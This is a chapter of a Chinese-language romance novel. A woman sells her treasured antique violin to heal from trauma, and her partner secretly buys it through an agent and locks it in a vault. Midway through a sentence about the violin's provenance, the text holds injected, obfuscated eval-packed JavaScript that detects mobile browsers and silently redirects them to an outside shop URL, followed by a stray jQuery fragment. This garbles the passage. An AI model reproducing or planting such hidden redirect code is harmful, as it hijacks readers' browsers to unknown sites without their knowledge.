早上六点，空气里带着潮气，周衍在一家老字号早餐店门口排队，此前他已经光临了四家店。每家都买不一样的东西，有上京当地特色的奶油炸糕、糖油饼，也有普通的小笼包，以及西式的欧包、可颂和佛卡夏。
拎着几个袋子回到家，他看到余笙蜷在沙发上的时候愣了一下。这会儿，她的面容有一种病态的白，带点恹气，在那儿看手机，像个碎掉又修复好的瓷娃娃。
余笙在郁期通常不会早起。格林威治标准时间，他健完身回来，留在桌上的早餐早冷了，她还躲在被子里冬眠。
周衍的眼皮跳了下，脑海中浮现出四个字：草木皆兵。伦敦那个阳光很好的上午，她一样起得早。
他把早点在大理石桌面上一一铺开，叫道：“吃饭。”
余笙慢吞吞地把视线从手机转移到宽大的液晶电视上，看了一会儿自己的倒影：“好。”
她的动作让周衍联想起他大学时候，隔壁另外一所大学的工科学生在校园里测试新研发的机器人，好似程序里的数值设置出了问题，走得特别慢。
“你怎么买这么多？”余笙看着一个又一个餐盘，目光轻微波动。
“不知道你回来以后早饭吃什么，索性几家店都买了点。”周衍把炸糕推过去，“要不试试这个？上京当地口味，我爷爷经常爱去这家店。”
余笙注视着纯白盘子里的炸糕，酥脆的外皮金灿灿。
“我吃什么都可以。”
周衍没和她争论这个问题，他希望余笙在上京这个新环境里也能过得舒坦。就像游戏里来到一处新城镇，她会在地图上标记出她喜欢的地点，从此以后只光临这些地方。
他要做的就是记住这些地方。
余笙把炸糕球掰成两半，跟吃果冻一样把里面的馅儿用勺子挖出来，最后才吃外面油嫩的脆皮。
放置于桌角的手机震动一下，余笙瞥了一眼消息，脸上的表情又生动起来，弯起嘴角笑。擦干净手，她飞速打字。
再放下手机，余笙用一贯的口吻对周衍说：“我下午要出去。”
“今天会下大雨。”周衍看眼窗外，提醒她。
上京的雨和伦敦不同。
伦敦总是小雨稀沥沥，不会过分磅礴，却绵延不断地烦人。但上京的雨天，就像老天爷打翻了一盆墨，直愣愣地往城里浇。
“我还是要出去。”余笙放下筷子，看眼窗外压在城市上空的乌云，“菡菡跟我说，有人要买我的小提琴。我想越快越好，对方说今天下午就可以面交。”
周衍掀下眼皮，问她：“为什么要卖琴？”
方菡已经问过一次她答案，他还想再问一次。
“缺钱。”余笙答得很从容。
他的手指敲在桌面上。
“你留给我的二十万英镑，我没有动。”
言下之意是可以还给她，她不需要卖琴。
“阿衍，那不一样。”
她换了个称呼。周衍垂下眼眸，细碎的黑发贴在额头，胸膛起伏，握住筷子的手抖了下。
余笙笑得眉眼弯弯，像飞过春天的燕子。
“很早之前，我就觉得有什么东西留在身体里了。还记得我说我去纽约吗？那次枪击案之后，我才真正反应过来。”
驻美大使馆都贴了个公告，会密切专注中国公民在美被枪击一案。她的外公外婆或许在电视上偶然看过这则新闻，但他们不知道新闻里的受害者就是余笙，连余正嵘都不知道。
陈婉清接到通知以后，单方面封锁了消息。工作人员在电话里安慰她，余笙已经脱离了生命危险，现在正住在ICU里，询问她是否需要协助办理紧急签证赴美。陈婉清婉拒了，表示自己有十年美签。
挂断对方电话以后，陈婉清在手机上取消了飞往纽约的机票。
余笙从周衍漆黑的瞳孔看见自己。
她认真说：“我不能让它再继续伤害我。”
*
下午，余笙回了浆水口37号，她从费力地床底拖出行李箱，拿出琴盒。
她给这把陪了自己快十多年的小提琴做了最后一次保养，用专门的清洁布擦拭琴弦，从琴颈到琴尾。
松香落在布上，高音阶的吱吱声在房间里跃起，像一把钥匙打开思绪，回忆珠子串在一条线上。
她在很多地方奏过这把琴，旁边有过陈婉清的藤条，室友的女士香烟，教授的鼓掌，厨房里偷偷钻进书房的饭香，一点点串起她的人生。
余笙把清理干净的小提琴放进去，看着琴身上松木的纹理，如同漩涡一样一点点铺开。她倏地回神，啪啦一声合上琴盒。
将那些创巨痛深的碎片一同关押进去。
拉紧拉链，余笙喘着气，鬓角有丝汗，右边腹部烧得疼。
她出门的时候正好碰见从老家回来的张姨。
张姨叫住她：“欸，小余今天还上班吗？我从老家带了自家熏的香肠，”
“谢谢张姨。”余笙留步，手搭在楼梯扶手上，“但我今天晚上应该不回来，去朋友家住两天。”
张姨诧异两秒，然后反应过来，叮嘱道：“那你自己多注意。等你回来我们再蒸香肠。”
交易见面是约定在安静的咖啡厅。
方菡一边搅动咖啡里的方糖，一边对余笙说：“我就在朋友圈随意一发，没想到真的有个朋友的朋友来问了，不过我不是很熟。”
说这话的时候，方菡单肩耸动，摸了摸自己的脖子。因为那条朋友圈只有余笙一人可见。
余笙还是很感谢，以她现在的关系网要想找个买得下这把琴的人难于上青天，更别提陈婉清绝对不会同意她的决定。
“没关系，你真的帮了我一个超级大的忙。”
她在想要怎么答谢方菡。
“请问您是余小姐吗？我们在微信上联系过的，我是石行。”一个西装革履的年轻男人走到桌边，彬彬有礼地问。
“对，我是。”余笙礼节性地跟对方握了握手。
石行微笑道：“可以检查一下琴吗？”
“当然当然。”余笙连忙打开琴盒，介绍起来，“这把琴当初是我母亲从佳士得上拍回来的，有两百多年了，来自意大利那不勒斯很出名的专制
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13984086|143870||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
小提琴的一个家族。我用了十多年，保养得很好，但最近没有拉，也许过一阵需要换琴弦了。”
方菡探出头，打量一眼，满满的vintage感。
石行只是简单目光扫了一圈，口吻依旧礼貌：“理解，我朋友也认识方小姐，方小姐的朋友自然也信得过，没什么问题的话我们就签购买合同吧。”
余笙愣住，她之前做好了被刁难砍价的准备，毕竟是不走中介担保私人买卖。
没想到石行打出一式两份的合同，爽快地签了自己名字，当场把钱款转到余笙卡上。
余笙目送对方一手提琴一手撑伞，上了一辆黑色的SUV。
看了很久，她才收回目光，手里空落落的，心脏酸酸胀胀地疼。
方菡看她样子，拉了下她的袖口，轻问：“笙笙，你真不后悔吗？”
“后悔什么？我该庆祝才对。”
庆祝重新获得新生。
余笙眼角渗出泪。
＊
“周先生，您要的东西。”年轻男子恭敬地把黑色的小提琴盒递给后座的周衍。
周衍凝视一会儿琴盒，缓缓说：“去安玖大厦。”
年轻男子点头，顺从地发动SUV的引擎。
车很快停在地下停车场，周衍提上琴盒，修长的腿迈下车，吩咐：“你不用跟着，在车里等吧。我最多半个小时回来。”
还有一家三口同样在等电梯，楼上有个购物中心，大概是周末出来玩的。
周衍让了他们一班电梯，继续等下一班，电梯门缓慢打开，他走进去按下负3楼的按钮。
电梯门一开，冷冰冰的四个映入视野：昌荣金库。
这家位于地下40米的公司二十四小时有人巡逻，数据系统不联网，专门为富人提供保险柜租赁服务，一年的租费贵得咂舌，存放在此的大多是富人收藏的有价无市的古董、字画、高定珠宝和翡翠。
“周衍。”周衍向前台身穿西装的工作人员报出名字。
通过指纹和虹膜验证后，工作人员打开保险库的大门，很快领他到一个保险柜前。
保险柜需要同时插入两把钥匙才能打开，安保公司有一把，另外一把又客户周衍保管。
铁门徐徐打开，里面空无一物。
工作人员鞠下躬，指向另外一个房间：“那边是验物室，您自便，有需要可以叫我。”
等工作人员到走廊尽头，周衍低头拉开琴盒的拉链，那把复古漂亮的小提琴静静地躺在里面。
他食指指腹薄薄的茧子顺着琴弦往上滑，落在琴弦拧紧的接口处。
有一点红，几乎和旁边深色融在一起，但周衍还是敏锐地发现了。
余笙在清理的时候漏掉了这个地方，是她的血，早干涸成了朱砂痣。
周衍面无表情地合上琴盒，放进保险柜，连同一起进去的还有余笙在伦敦随身携带的那个本子，写了他的名字。
他啪地一声关上铁门，清脆的声音落在房间的地板上。
余笙的痛苦被他埋葬在此。
记在周衍的名下。